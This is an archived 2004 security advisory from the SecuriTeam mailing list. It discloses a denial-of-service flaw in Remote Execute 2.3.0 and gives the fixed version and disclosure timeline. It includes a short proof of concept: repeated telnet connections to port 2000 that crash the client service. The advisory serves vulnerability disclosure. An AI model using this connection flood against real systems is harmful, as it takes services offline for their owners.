

[NT] Remote Execute DoS Attack Leads to Client Crash

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-12/0011.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 12/12/04

To: list@securiteam.com

Date: 12 Dec 2004 10:23:15 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Remote Execute DoS Attack Leads to Client Crash

SUMMARY

<<http://www.ibexsoftware.com/remote.asp>> Remote Execute allows you to "Manage your network with ease and safety, execute applications on Your internal/external network from one central location."

By creating multiple connections to the Remote Execute component it is possible to cause a denial of service condition.

DETAILS

Vulnerable Systems:

- * Remote Execute version 2.3.0

Immune Systems:

- * Remote Execute version 2.3.01

After seven connections are created to the client service it will crash and refuse any further connections. In order to demonstrate the problem, issue the following:

Securiteam: [NT] Remote Execute DoS Attack Leads to Client Crash

```
telnet remotehost 2000 &  
telnet remotehost 2000 &  
telnet remotehost 2000 &  
telnet remotehost 2000 &  
telnet remotehost 2000 &  
telnet remotehost 2000 &  
telnet remotehost 2000 &  
..
```

The remote execute client is now down and port 2000 is now closed and not able to receive any more connections.

Vendor Status:

IbexSoftware were contacted, the problem was reproduced and a fix was released a week later. Users are highly encouraged to upgrade to version 2.3.01 which mitigates this vulnerability.

Disclosure Timeline:

29/11/2004 – Vendor notification
06/12/2004 – Public release

ADDITIONAL INFORMATION

The information has been provided by
<mailto:headpimp@pimp-industries.com> Pimp Industries.

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.